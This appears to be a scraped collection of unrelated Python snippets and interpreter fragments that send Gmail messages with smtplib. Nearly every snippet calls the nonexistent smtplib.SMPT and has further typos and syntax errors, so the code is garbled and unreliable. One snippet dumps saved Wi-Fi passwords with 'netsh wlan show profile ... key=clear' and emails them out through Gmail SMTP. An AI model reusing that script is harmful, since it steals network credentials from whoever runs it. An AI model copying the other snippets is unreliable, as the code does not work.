def sendMsg(to, msg): #you had to enable less secure apps for this method to work completely server = smtplib.SMPT('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login('sender email', 'password') server.sendmail('email sender', to, msg) server.close()
def send_mail(): mailer = smtplib.SMPT('smtp.gmail.com', 587) #Connecting to GMAIL SMTP server mailer.ehlo() mailer.starttls() #TLS mailer.ehlo() mailer.login('email_id', 'password') subject = "Price of the Item fell down" body = "Check it now on https://www.amazon.in/Juarez-JRZ21UK-Hawaiian-Rosewood-Fingerboard/dp/B071JM85N8/ref=sr_1_2?dchild=1&keywords=ukelele&qid=1600889930&sr=8-2" message = f"Subject : {subject}\n\n\n{body}" server.send_mail('sender_email_address', 'recipient_mail_address', message) print("MAIL SENT")
def send_mail(): server = smtplib.SMPT('smpt.gmail.com', 587) server.ehlo() server.startls() server.ehlo server.login('*****@*****.**', 'googleAppCodeGoesHere') subject = 'Hey, Price of the product fell down' body = 'Check an eBay Link https://www.ebay.com/itm/Aluminium-HD-Polarized-Photochromic-Sunglasses-Men-Chameleon-Driving-Sun-Glasses/254204493465' msg = f'Subject: {subject}\n\n{body}' server.sendmail('*****@*****.**', '*****@*****.**', msg) print('Email Has been Sent!') server.quit()
def assistant(comand): if "open facebook" in comand: chrome_path = "C:\Program Files (x86)\Google\Chrome\Application" url = "facebook.com" webbrowser.get(chrome_path).opem(url) elif "what\'s up" in comand: talkToMe(" helping you master") elif "mail" in comand: talkToMe("recipient is ?") recipient = mycomand() if "george" is recipient: talkToMe("what should i text him") content = mycomand() #send mail s vutitebt mail = smtplib.SMPT("smtp.gmail.com", 587) #serveris identifikacia mail.elho() #encription mail.starttls() #avtorizacia meilze mail.login("username", "password") #mesijis gagzavna mail.sendmail("person name", "*****@*****.**", content) #kavshiris dasruleba mail.close() talkToMe("Email sent")
Python 3.6.2 (default, Jul 20 2017, 08:43:29) [GCC 6.3.0 20170406] on linux Type "copyright", "credits" or "license()" for more information. >>> ========== RESTART: /home/cl215/avinash_python_program/program11.py ========== 1 2 3 4 2 4 6 8 3 6 9 12 4 8 12 16 5 10 15 20 6 12 18 24 7 14 21 28 8 16 24 32 9 18 27 36 10 20 30 40 >>> #! /usr/bin/python3 import smtplib s = smtplib.SMPT('smpt.gmail.com' ,587) s.starttls() s.login("*****@*****.**","kannan10") message="how r u??" s.sendmail("*****@*****.**","*****@*****.**", message) s.quit()
#!/usr/bin/python import subprocess import smtplib import re command1 = "netsh wlan show profile" networks = subprocess.check_output(command1, shell=True) networks_lists = re.findall('(?:Profile\s*:\s)(.*)', networks) output = "" for network in network_list: command2 = "netsh wlan show profile" + network + "key=clear" one_network_result = subprocess.check_output(command2, shell=True) ouput = one_network_result server = smtplib.SMPT('smtp.gmail.com', 587) server.starttls() server.login('*****@*****.**', 'password') server.sendmail('*****@*****.**', '*****@*****.**', output) server.quit()
import os import smtplib EMAIL_ADDRESS = '*****@*****.**' EMAIL_PASSWORD = '******' with smtplib.SMPT('smtp.gmail.com', 587) as smtp: stmp.eclo() smtp.starttls() stmp.eclo() smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) subject = 'Thanks you contacting Apna Malwa' body = 'yes!@' msg = f'Subject: {subject}\n\n {body}' smpt.sendmail(EMAIL_ADDRESS, '*****@*****.**',msg)
Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 16:07:46) [MSC v.1900 32 bit (Intel)] on win32 Type "copyright", "credits" or "license()" for more information. >>> import smtplib >>> conn = smtplib.SMPT('smtp.gmail.com', 587) Traceback (most recent call last): File "<pyshell#1>", line 1, in <module> conn = smtplib.SMPT('smtp.gmail.com', 587) AttributeError: module 'smtplib' has no attribute 'SMPT' >>> conn = smtplib.SMTP('smtp.gmail.com', 587) >>> type(conn) <class 'smtplib.SMTP'> >>> conn <smtplib.SMTP object at 0x02F6A870> >>> conn.hello() Traceback (most recent call last): File "<pyshell#5>", line 1, in <module> conn.hello() AttributeError: 'SMTP' object has no attribute 'hello' >>> conn.ehlo() (250, b'smtp.gmail.com at your service, [93.105.177.191]\nSIZE 35882577\n8BITMIME\nSTARTTLS\nENHANCEDSTATUSCODES\nPIPELINING\nCHUNKING\nSMTPUTF8') >>> conn.starttls() (220, b'2.0.0 Ready to start TLS') >>> conn.login('*****@*****.**', 'password') Traceback (most recent call last): File "<pyshell#8>", line 1, in <module> conn.login('*****@*****.**', 'password') File "C:\Users\Okles\AppData\Local\Programs\Python\Python36-32\lib\smtplib.py", line 730, in login raise last_exception File "C:\Users\Okles\AppData\Local\Programs\Python\Python36-32\lib\smtplib.py", line 721, in login initial_response_ok=initial_response_ok) File "C:\Users\Okles\AppData\Local\Programs\Python\Python36-32\lib\smtplib.py", line 642, in auth
def smtp_connection(): smtp_connection = smtplib.SMPT("smtp.gmail.com", 587, timeout=5) yield smtp_connection print("teardown smtp") smtp_connection.close()
import smtplib from smtplib import SMTP #email recipiente email_from = "*****@*****.**" #senha email_senha = 'testeemail' #email destinatario email_to = "*****@*****.**" #servidor SMTP smtp = "smtp.gmail.com" #inicia instancia server = smtplib.SMPT(smtp, 587) #conexao server.starttls() #realiza login server.login(email_from, email_senha) #corpo do email msg = "TEste" #envia email server.sendmail(email_from,email_to,msg) #fecha conexao server.quit
import smtplib import getpass s=smtplib.SMPT('smtp.gmail.com','587') s.starttls() sender='*****@*****.**' receiver='*****@*****.**' msg="get lost stupid fellow" p=getpass.getpass() s.login(sender,p) s.sendmail(sender,receiver,msg print("message sent successfully") s.quit()